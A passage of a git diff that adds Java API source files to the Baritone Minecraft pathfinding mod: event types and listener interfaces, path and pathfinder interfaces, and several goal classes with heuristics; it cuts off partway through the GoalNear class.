Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.event.events.type; + +/** + * @author Brady + * @since 8/2/2018 + */ +public enum EventState { + + /** + * Before the dispatching of what the event is targetting + */ + PRE, + + /** + * After the dispatching of what the event is targetting + */ + POST +} diff --git a/src/baritone/api/event/events/type/ICancellable.java b/src/baritone/api/event/events/type/ICancellable.java new file mode 100644 index 00000000..1df5cd79 --- /dev/null +++ b/src/baritone/api/event/events/type/ICancellable.java @@ -0,0 +1,35 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.event.events.type; + +/** + * @author Brady + * @since 10/11/2018 + */ +public interface ICancellable { + + /** + * Cancels this event + */ + void cancel(); + + /** + * @return Whether or not this event has been cancelled + */ + boolean isCancelled(); +} diff --git a/src/baritone/api/event/events/type/Overrideable.java b/src/baritone/api/event/events/type/Overrideable.java new file mode 100644 index 00000000..cbad9b99 --- /dev/null +++ b/src/baritone/api/event/events/type/Overrideable.java @@ -0,0 +1,53 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.event.events.type; + +/** + * @author LoganDark + */ +public class Overrideable { + + private T value; + private boolean modified; + + public Overrideable(T current) { + value = current; + } + + public T get() { + return value; + } + + public void set(T newValue) { + value = newValue; + modified = true; + } + + public boolean wasModified() { + return modified; + } + + @Override + public String toString() { + return String.format( + "Overrideable{modified=%b,value=%s}", + modified, + value.toString() + ); + } +} diff --git a/src/baritone/api/event/listener/AbstractGameEventListener.java b/src/baritone/api/event/listener/AbstractGameEventListener.java new file mode 100644 index 00000000..9eac8de4 --- /dev/null +++ b/src/baritone/api/event/listener/AbstractGameEventListener.java @@ -0,0 +1,74 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.event.listener; + +import baritone.api.event.events.*; + +/** + * An implementation of {@link IGameEventListener} that has all methods + * overridden with empty bodies, allowing inheritors of this class to choose + * which events they would like to listen in on. + * + * @author Brady + * @see IGameEventListener + * @since 8/1/2018 + */ +public interface AbstractGameEventListener extends IGameEventListener { + + @Override + default void onTick(TickEvent event) {} + + @Override + default void onPlayerUpdate(PlayerUpdateEvent event) {} + + @Override + default void onSendChatMessage(ChatEvent event) {} + + @Override + default void onPreTabComplete(TabCompleteEvent event) {} + + @Override + default void onChunkEvent(ChunkEvent event) {} + + @Override + default void onRenderPass(RenderEvent event) {} + + @Override + default void onWorldEvent(WorldEvent event) {} + + @Override + default void onSendPacket(PacketEvent event) {} + + @Override + default void onReceivePacket(PacketEvent event) {} + + @Override + default void onPlayerRotationMove(RotationMoveEvent event) {} + + @Override + default void onPlayerSprintState(SprintStateEvent event) {} + + @Override + default void onBlockInteract(BlockInteractEvent event) {} + + @Override + default void onPlayerDeath() {} + + @Override + default void onPathEvent(PathEvent event) {} +} diff --git a/src/baritone/api/event/listener/IEventBus.java b/src/baritone/api/event/listener/IEventBus.java new file mode 100644 index 00000000..52240a7c --- /dev/null +++ b/src/baritone/api/event/listener/IEventBus.java @@ -0,0 +1,36 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.event.listener; + +/** + * A type of {@link IGameEventListener} that can have additional listeners + * registered so that they receive the events that are dispatched to this + * listener. + * + * @author Brady + * @since 11/14/2018 + */ +public interface IEventBus extends IGameEventListener { + + /** + * Registers the specified {@link IGameEventListener} to this event bus + * + * @param listener The listener + */ + void registerEventListener(IGameEventListener listener); +} diff --git a/src/baritone/api/event/listener/IGameEventListener.java b/src/baritone/api/event/listener/IGameEventListener.java new file mode 100644 index 00000000..0785b170 --- /dev/null +++ b/src/baritone/api/event/listener/IGameEventListener.java @@ -0,0 +1,141 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.event.listener; + +import baritone.api.event.events.*; +import net.minecraft.client.Minecraft; +import net.minecraft.client.entity.player.ClientPlayerEntity; +import net.minecraft.client.gui.screen.DeathScreen; +import net.minecraft.client.world.ClientWorld; +import net.minecraft.entity.Entity; +import net.minecraft.network.IPacket; +import net.minecraft.util.math.vector.Vector3d; + +/** + * @author Brady + * @since 7/31/2018 + */ +public interface IGameEventListener { + + /** + * Run once per game tick before screen input is handled. + * + * @param event The event + * @see Minecraft#runTick() + */ + void onTick(TickEvent event); + + /** + * Run once per game tick from before and after the player rotation is sent to the server. + * + * @param event The event + * @see ClientPlayerEntity#tick() + */ + void onPlayerUpdate(PlayerUpdateEvent event); + + /** + * Runs whenever the client player sends a message to the server. + * + * @param event The event + * @see ClientPlayerEntity#sendChatMessage(String) + */ + void onSendChatMessage(ChatEvent event); + + /** + * Runs whenever the client player tries to tab complete in chat. + * + * @param event The event + */ + void onPreTabComplete(TabCompleteEvent event); + + /** + * Runs before and after whenever a chunk is either loaded, unloaded, or populated. + * + * @param event The event + */ + void onChunkEvent(ChunkEvent event); + + /** + * Runs once per world render pass. + * + * @param event The event + */ + void onRenderPass(RenderEvent event); + + /** + * Runs before and after whenever a new world is loaded + * + * @param event The event + * @see Minecraft#loadWorld(ClientWorld) + */ + void onWorldEvent(WorldEvent event); + + /** + * Runs before a outbound packet is sent + * + * @param event The event + * @see IPacket + */ + void onSendPacket(PacketEvent event); + + /** + * Runs before an inbound packet is processed + * + * @param event The event + * @see IPacket + */ + void onReceivePacket(PacketEvent event); + + /** + * Run once per game tick from before and after the player's moveRelative method is called + * and before and after the player jumps. + * + * @param event The event + * @see Entity#moveRelative(float, Vector3d) + */ + void onPlayerRotationMove(RotationMoveEvent event); + + /** + * Called whenever the sprint keybind state is checked in {@link ClientPlayerEntity#livingTick} + * + * @param event The event + * @see ClientPlayerEntity#livingTick() + */ + void onPlayerSprintState(SprintStateEvent event); + + /** + * Called when the local player interacts with a block, whether it is breaking or opening/placing. + * + * @param event The event + */ + void onBlockInteract(BlockInteractEvent event); + + /** + * Called when the local player dies, as indicated by the creation of the {@link DeathScreen} screen. + * + * @see DeathScreen + */ + void onPlayerDeath(); + + /** + * When the pathfinder's state changes + * + * @param event The event + */ + void onPathEvent(PathEvent event); +} diff --git a/src/baritone/api/pathing/calc/IPath.java b/src/baritone/api/pathing/calc/IPath.java new file mode 100644 index 00000000..ec51861d --- /dev/null +++ b/src/baritone/api/pathing/calc/IPath.java @@ -0,0 +1,179 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.pathing.calc; + +import baritone.api.Settings; +import baritone.api.pathing.goals.Goal; +import baritone.api.pathing.movement.IMovement; +import baritone.api.utils.BetterBlockPos; + +import java.util.HashSet; +import java.util.List; + +/** + * @author leijurv, Brady + */ +public interface IPath { + + /** + * Ordered list of movements to carry out. + * movements.get(i).getSrc() should equal positions.get(i) + * movements.get(i).getDest() should equal positions.get(i+1) + * movements.size() should equal positions.size()-1 + * + * @return All of the movements to carry out + */ + List movements(); + + /** + * All positions along the way. + * Should begin with the same as getSrc and end with the same as getDest + * + * @return All of the positions along this path + */ + List positions(); + + /** + * This path is actually going to be executed in the world. Do whatever additional processing is required. + * (as opposed to Path objects that are just constructed every frame for rendering) + * + * @return The result of path post processing + */ + default IPath postProcess() { + throw new UnsupportedOperationException(); + } + + /** + * Returns the number of positions in this path. Equivalent to {@code positions().size()}. + * + * @return Number of positions in this path + */ + default int length() { + return positions().size(); + } + + /** + * @return The goal that this path was calculated towards + */ + Goal getGoal(); + + /** + * Returns the number of nodes that were considered during calculation before + * this path was found. + * + * @return The number of nodes that were considered before finding this path + */ + int getNumNodesConsidered(); + + /** + * Returns the start position of this path. This is the first element in the + * {@link List} that is returned by {@link IPath#positions()}. + * + * @return The start position of this path + */ + default BetterBlockPos getSrc() { + return positions().get(0); + } + + /** + * Returns the end position of this path. This is the last element in the + * {@link List} that is returned by {@link IPath#positions()}. + * + * @return The end position of this path. + */ + default BetterBlockPos getDest() { + List pos = positions(); + return pos.get(pos.size() - 1); + } + + /** + * Returns the estimated number of ticks to complete the path from the given node index. + * + * @param pathPosition The index of the node we're calculating from + * @return The estimated number of ticks remaining frm the given position + */ + default double ticksRemainingFrom(int pathPosition) { + double sum = 0; + //this is fast because we aren't requesting recalculation, it's just cached + List movements = movements(); + for (int i = pathPosition; i < movements.size(); i++) { + sum += movements.get(i).getCost(); + } + return sum; + } + + /** + * Cuts off this path at the loaded chunk border, and returns the resulting path. Default + * implementation just returns this path, without the intended functionality. + *

+ * The argument is supposed to be a BlockStateInterface LOL LOL LOL LOL LOL + * + * @param bsi The block state lookup, highly cursed + * @return The result of this cut-off operation + */ + default IPath cutoffAtLoadedChunks(Object bsi) { + throw new UnsupportedOperationException(); + } + + /** + * Cuts off this path using the min length and cutoff factor settings, and returns the resulting path. + * Default implementation just returns this path, without the intended functionality. + * + * @param destination The end goal of this path + * @return The result of this cut-off operation + * @see Settings#pathCutoffMinimumLength + * @see Settings#pathCutoffFactor + */ + default IPath staticCutoff(Goal destination) { + throw new UnsupportedOperationException(); + } + + + /** + * Performs a series of checks to ensure that the assembly of the path went as expected. + */ + default void sanityCheck() { + List path = positions(); + List movements = movements(); + if (!getSrc().equals(path.get(0))) { + throw new IllegalStateException("Start node does not equal first path element"); + } + if (!getDest().equals(path.get(path.size() - 1))) { + throw new IllegalStateException("End node does not equal last path element"); + } + if (path.size() != movements.size() + 1) { + throw new IllegalStateException("Size of path array is unexpected"); + } + HashSet seenSoFar = new HashSet<>(); + for (int i = 0; i < path.size() - 1; i++) { + BetterBlockPos src = path.get(i); + BetterBlockPos dest = path.get(i + 1); + IMovement movement = movements.get(i); + if (!src.equals(movement.getSrc())) { + throw new IllegalStateException("Path source is not equal to the movement source"); + } + if (!dest.equals(movement.getDest())) { + throw new IllegalStateException("Path destination is not equal to the movement destination"); + } + if (seenSoFar.contains(src)) { + throw new IllegalStateException("Path doubles back on itself, making a loop"); + } + seenSoFar.add(src); + } + } +} diff --git a/src/baritone/api/pathing/calc/IPathFinder.java b/src/baritone/api/pathing/calc/IPathFinder.java new file mode 100644 index 00000000..ab04b3f2 --- /dev/null +++ b/src/baritone/api/pathing/calc/IPathFinder.java @@ -0,0 +1,66 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.pathing.calc; + +import baritone.api.pathing.goals.Goal; +import baritone.api.utils.PathCalculationResult; + +import java.util.Optional; + +/** + * Generic path finder interface + * + * @author leijurv + */ +public interface IPathFinder { + + Goal getGoal(); + + /** + * Calculate the path in full. Will take several seconds. + * + * @param primaryTimeout If a path is found, the path finder will stop after this amount of time + * @param failureTimeout If a path isn't found, the path finder will continue for this amount of time + * @return The final path + */ + PathCalculationResult calculate(long primaryTimeout, long failureTimeout); + + /** + * Intended to be called concurrently with calculatePath from a different thread to tell if it's finished yet + * + * @return Whether or not this finder is finished + */ + boolean isFinished(); + + /** + * Called for path rendering. Returns a path to the most recent node popped from the open set and considered. + * + * @return The temporary path + */ + Optional pathToMostRecentNodeConsidered(); + + /** + * The best path so far, according to the most forgiving coefficient heuristic (the reason being that that path is + * most likely to represent the true shape of the path to the goal, assuming it's within a possible cost heuristic. + * That's almost always a safe assumption, but in the case of a nearly impossible path, it still works by providing + * a theoretically plausible but practically unlikely path) + * + * @return The temporary path + */ + Optional bestPathSoFar(); +} diff --git a/src/baritone/api/pathing/calc/IPathingControlManager.java b/src/baritone/api/pathing/calc/IPathingControlManager.java new file mode 100644 index 00000000..dc729748 --- /dev/null +++ b/src/baritone/api/pathing/calc/IPathingControlManager.java @@ -0,0 +1,47 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.pathing.calc; + +import baritone.api.process.IBaritoneProcess; +import baritone.api.process.PathingCommand; + +import java.util.Optional; + +/** + * @author leijurv + */ +public interface IPathingControlManager { + + /** + * Registers a process with this pathing control manager. See {@link IBaritoneProcess} for more details. + * + * @param process The process + * @see IBaritoneProcess + */ + void registerProcess(IBaritoneProcess process); + + /** + * @return The most recent {@link IBaritoneProcess} that had control + */ + Optional mostRecentInControl(); + + /** + * @return The most recent pathing command executed + */ + Optional mostRecentCommand(); +} diff --git a/src/baritone/api/pathing/goals/Goal.java b/src/baritone/api/pathing/goals/Goal.java new file mode 100644 index 00000000..95462f96 --- /dev/null +++ b/src/baritone/api/pathing/goals/Goal.java @@ -0,0 +1,71 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.pathing.goals; + +import net.minecraft.util.math.BlockPos; + +/** + * An abstract Goal for pathing, can be anything from a specific block to just a Y coordinate. + * + * @author leijurv + */ +public interface Goal { + + /** + * Returns whether or not the specified position + * meets the requirement for this goal based. + * + * @param x The goal X position + * @param y The goal Y position + * @param z The goal Z position + * @return Whether or not it satisfies this goal + */ + boolean isInGoal(int x, int y, int z); + + /** + * Estimate the number of ticks it will take to get to the goal + * + * @param x The goal X position + * @param y The goal Y position + * @param z The goal Z position + * @return The estimate number of ticks to satisfy the goal + */ + double heuristic(int x, int y, int z); + + default boolean isInGoal(BlockPos pos) { + return isInGoal(pos.getX(), pos.getY(), pos.getZ()); + } + + default double heuristic(BlockPos pos) { + return heuristic(pos.getX(), pos.getY(), pos.getZ()); + } + + /** + * Returns the heuristic at the goal. + * i.e. {@code heuristic() == heuristic(x,y,z)} + * when {@code isInGoal(x,y,z) == true} + * This is needed by {@code PathingBehavior#estimatedTicksToGoal} because + * some Goals actually do not have a heuristic of 0 when that condition is met + * + * @return The estimate number of ticks to satisfy the goal when the goal + * is already satisfied + */ + default double heuristic() { + return 0; + } +} diff --git a/src/baritone/api/pathing/goals/GoalAxis.java b/src/baritone/api/pathing/goals/GoalAxis.java new file mode 100644 index 00000000..6e2f84e7 --- /dev/null +++ b/src/baritone/api/pathing/goals/GoalAxis.java @@ -0,0 +1,59 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.pathing.goals; + +import baritone.api.BaritoneAPI; + +public class GoalAxis implements Goal { + + private static final double SQRT_2_OVER_2 = Math.sqrt(2) / 2; + + @Override + public boolean isInGoal(int x, int y, int z) { + return y == BaritoneAPI.getSettings().axisHeight.value && (x == 0 || z == 0 || Math.abs(x) == Math.abs(z)); + } + + @Override + public double heuristic(int x0, int y, int z0) { + int x = Math.abs(x0); + int z = Math.abs(z0); + + int shrt = Math.min(x, z); + int lng = Math.max(x, z); + int diff = lng - shrt; + + double flatAxisDistance = Math.min(x, Math.min(z, diff * SQRT_2_OVER_2)); + + return flatAxisDistance * BaritoneAPI.getSettings().costHeuristic.value + GoalYLevel.calculate(BaritoneAPI.getSettings().axisHeight.value, y); + } + + @Override + public boolean equals(Object o) { + return o.getClass() == GoalAxis.class; + } + + @Override + public int hashCode() { + return 201385781; + } + + @Override + public String toString() { + return "GoalAxis"; + } +} diff --git a/src/baritone/api/pathing/goals/GoalBlock.java b/src/baritone/api/pathing/goals/GoalBlock.java new file mode 100644 index 00000000..24faa9b3 --- /dev/null +++ b/src/baritone/api/pathing/goals/GoalBlock.java @@ -0,0 +1,119 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.pathing.goals; + +import baritone.api.utils.BetterBlockPos; +import baritone.api.utils.SettingsUtil; +import baritone.api.utils.interfaces.IGoalRenderPos; +import net.minecraft.util.math.BlockPos; + +/** + * A specific BlockPos goal + * + * @author leijurv + */ +public class GoalBlock implements Goal, IGoalRenderPos { + + /** + * The X block position of this goal + */ + public final int x; + + /** + * The Y block position of this goal + */ + public final int y; + + /** + * The Z block position of this goal + */ + public final int z; + + public GoalBlock(BlockPos pos) { + this(pos.getX(), pos.getY(), pos.getZ()); + } + + public GoalBlock(int x, int y, int z) { + this.x = x; + this.y = y; + this.z = z; + } + + @Override + public boolean isInGoal(int x, int y, int z) { + return x == this.x && y == this.y && z == this.z; + } + + @Override + public double heuristic(int x, int y, int z) { + int xDiff = x - this.x; + int yDiff = y - this.y; + int zDiff = z - this.z; + return calculate(xDiff, yDiff, zDiff); + } + + @Override + public boolean equals(Object o) { + if (this == o) { + return true; + } + if (o == null || getClass() != o.getClass()) { + return false; + } + + GoalBlock goal = (GoalBlock) o; + return x == goal.x + && y == goal.y + && z == goal.z; + } + + @Override + public int hashCode() { + return (int) BetterBlockPos.longHash(x, y, z) * 905165533; + } + + @Override + public String toString() { + return String.format( + "GoalBlock{x=%s,y=%s,z=%s}", + SettingsUtil.maybeCensor(x), + SettingsUtil.maybeCensor(y), + SettingsUtil.maybeCensor(z) + ); + } + + /** + * @return The position of this goal as a {@link BlockPos} + */ + @Override + public BlockPos getGoalPos() { + return new BlockPos(x, y, z); + } + + public static double calculate(double xDiff, int yDiff, double zDiff) { + double heuristic = 0; + + // if yDiff is 1 that means that currentY-goalY==1 which means that we're 1 block above where we should be + // therefore going from 0,yDiff,0 to a GoalYLevel of 0 is accurate + heuristic += GoalYLevel.calculate(0, yDiff); + + //use the pythagorean and manhattan mixture from GoalXZ + heuristic += GoalXZ.calculate(xDiff, zDiff); + return heuristic; + } +} diff --git a/src/baritone/api/pathing/goals/GoalComposite.java b/src/baritone/api/pathing/goals/GoalComposite.java new file mode 100644 index 00000000..8e13a86e --- /dev/null +++ b/src/baritone/api/pathing/goals/GoalComposite.java @@ -0,0 +1,96 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.pathing.goals; + +import java.util.Arrays; + +/** + * A composite of many goals, any one of which satisfies the composite. + * For example, a GoalComposite of block goals for every oak log in loaded chunks + * would result in it pathing to the easiest oak log to get to + * + * @author avecowa + */ +public class GoalComposite implements Goal { + + /** + * An array of goals that any one of must be satisfied + */ + private final Goal[] goals; + + public GoalComposite(Goal... goals) { + this.goals = goals; + } + + @Override + public boolean isInGoal(int x, int y, int z) { + for (Goal goal : goals) { + if (goal.isInGoal(x, y, z)) { + return true; + } + } + return false; + } + + @Override + public double heuristic(int x, int y, int z) { + double min = Double.MAX_VALUE; + for (Goal g : goals) { + // TODO technically this isn't admissible...? + min = Math.min(min, g.heuristic(x, y, z)); // whichever is closest + } + return min; + } + + @Override + public double heuristic() { + double min = Double.MAX_VALUE; + for (Goal g : goals) { + // just take the highest value that is guaranteed to be inside the goal + min = Math.min(min, g.heuristic()); + } + return min; + } + + @Override + public boolean equals(Object o) { + if (this == o) { + return true; + } + if (o == null || getClass() != o.getClass()) { + return false; + } + + GoalComposite goal = (GoalComposite) o; + return Arrays.equals(goals, goal.goals); + } + + @Override + public int hashCode() { + return Arrays.hashCode(goals); + } + + @Override + public String toString() { + return "GoalComposite" + Arrays.toString(goals); + } + + public Goal[] goals() { + return goals; + } +} diff --git a/src/baritone/api/pathing/goals/GoalGetToBlock.java b/src/baritone/api/pathing/goals/GoalGetToBlock.java new file mode 100644 index 00000000..b8934a48 --- /dev/null +++ b/src/baritone/api/pathing/goals/GoalGetToBlock.java @@ -0,0 +1,93 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.pathing.goals; + +import baritone.api.utils.BetterBlockPos; +import baritone.api.utils.SettingsUtil; +import baritone.api.utils.interfaces.IGoalRenderPos; +import net.minecraft.util.math.BlockPos; + + +/** + * Don't get into the block, but get directly adjacent to it. Useful for chests. + * + * @author avecowa + */ +public class GoalGetToBlock implements Goal, IGoalRenderPos { + + public final int x; + public final int y; + public final int z; + + public GoalGetToBlock(BlockPos pos) { + this.x = pos.getX(); + this.y = pos.getY(); + this.z = pos.getZ(); + } + + @Override + public BlockPos getGoalPos() { + return new BlockPos(x, y, z); + } + + @Override + public boolean isInGoal(int x, int y, int z) { + int xDiff = x - this.x; + int yDiff = y - this.y; + int zDiff = z - this.z; + return Math.abs(xDiff) + Math.abs(yDiff < 0 ? yDiff + 1 : yDiff) + Math.abs(zDiff) <= 1; + } + + @Override + public double heuristic(int x, int y, int z) { + int xDiff = x - this.x; + int yDiff = y - this.y; + int zDiff = z - this.z; + return GoalBlock.calculate(xDiff, yDiff < 0 ? yDiff + 1 : yDiff, zDiff); + } + + @Override + public boolean equals(Object o) { + if (this == o) { + return true; + } + if (o == null || getClass() != o.getClass()) { + return false; + } + + GoalGetToBlock goal = (GoalGetToBlock) o; + return x == goal.x + && y == goal.y + && z == goal.z; + } + + @Override + public int hashCode() { + return (int) BetterBlockPos.longHash(x, y, z) * -49639096; + } + + @Override + public String toString() { + return String.format( + "GoalGetToBlock{x=%s,y=%s,z=%s}", + SettingsUtil.maybeCensor(x), + SettingsUtil.maybeCensor(y), + SettingsUtil.maybeCensor(z) + ); + } +} diff --git a/src/baritone/api/pathing/goals/GoalInverted.java b/src/baritone/api/pathing/goals/GoalInverted.java new file mode 100644 index 00000000..4a3f7531 --- /dev/null +++ b/src/baritone/api/pathing/goals/GoalInverted.java @@ -0,0 +1,77 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.pathing.goals; + +import java.util.Objects; + +/** + * Invert any goal. + *

+ * In the old chat control system, #invert just tried to pick a {@link GoalRunAway} that effectively inverted the + * current goal. This goal just reverses the heuristic to act as a TRUE invert. Inverting a Y level? Baritone tries to + * get away from that Y level. Inverting a GoalBlock? Baritone will try to make distance whether it's in the X, Y or Z + * directions. And of course, you can always invert a GoalXZ. + * + * @author LoganDark + */ +public class GoalInverted implements Goal { + + public final Goal origin; + + public GoalInverted(Goal origin) { + this.origin = origin; + } + + @Override + public boolean isInGoal(int x, int y, int z) { + return false; + } + + @Override + public double heuristic(int x, int y, int z) { + return -origin.heuristic(x, y, z); + } + + @Override + public double heuristic() { + return Double.NEGATIVE_INFINITY; + } + + @Override + public boolean equals(Object o) { + if (this == o) { + return true; + } + if (o == null || getClass() != o.getClass()) { + return false; + } + + GoalInverted goal = (GoalInverted) o; + return Objects.equals(origin, goal.origin); + } + + @Override + public int hashCode() { + return origin.hashCode() * 495796690; + } + + @Override + public String toString() { + return String.format("GoalInverted{%s}", origin.toString()); + } +} diff --git a/src/baritone/api/pathing/goals/GoalNear.java b/src/baritone/api/pathing/goals/GoalNear.java new file mode 100644 index 00000000..e211c019 --- /dev/null +++ b/src/baritone/api/pathing/goals/GoalNear.java @@ -0,0 +1,121 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.pathing.goals; + +import baritone.api.utils.BetterBlockPos; +import baritone.api.utils.SettingsUtil; +import baritone.api.utils.interfaces.IGoalRenderPos; +import it.unimi.dsi.fastutil.doubles.DoubleIterator; +import it.unimi.dsi.fastutil.doubles.DoubleOpenHashSet; +import net.minecraft.util.math.BlockPos; + +public class GoalNear implements Goal, IGoalRenderPos { + + private final int x; + private final int y; + private final int z; + private final int rangeSq; + + public GoalNear(BlockPos pos, int range) { + this.x = pos.getX(); + this.y = pos.getY(); + this.z = pos.getZ(); + this.rangeSq = range * range; + } + + @Override + public boolean isInGoal(int x, int y, int z) { + int xDiff = x - this.x; + int yDiff = y - this.y; + int zDiff = z - this.z; + return xDiff * xDiff + yDiff * yDiff + zDiff * zDiff <= rangeSq; + } + + @Override + public double heuristic(int x, int y, int z) { + int xDiff = x - this.x; + int yDiff = y - this.y; + int zDiff = z - this.z; + return GoalBlock.calculate(xDiff, yDiff, zDiff); + } + + @Override + public double heuristic() {// TODO less hacky solution + int range = (int) Math.ceil(Math.sqrt(rangeSq)); + DoubleOpenHashSet maybeAlwaysInside = new DoubleOpenHashSet(); // see pull request #1978 + double minOutside = Double.POSITIVE_INFINITY; + for (int dx = -range; dx <= range; dx++) { + for (int dy = -range; dy <= range; dy++) { + for (int dz = -range; dz <= range; dz++) { + double h = 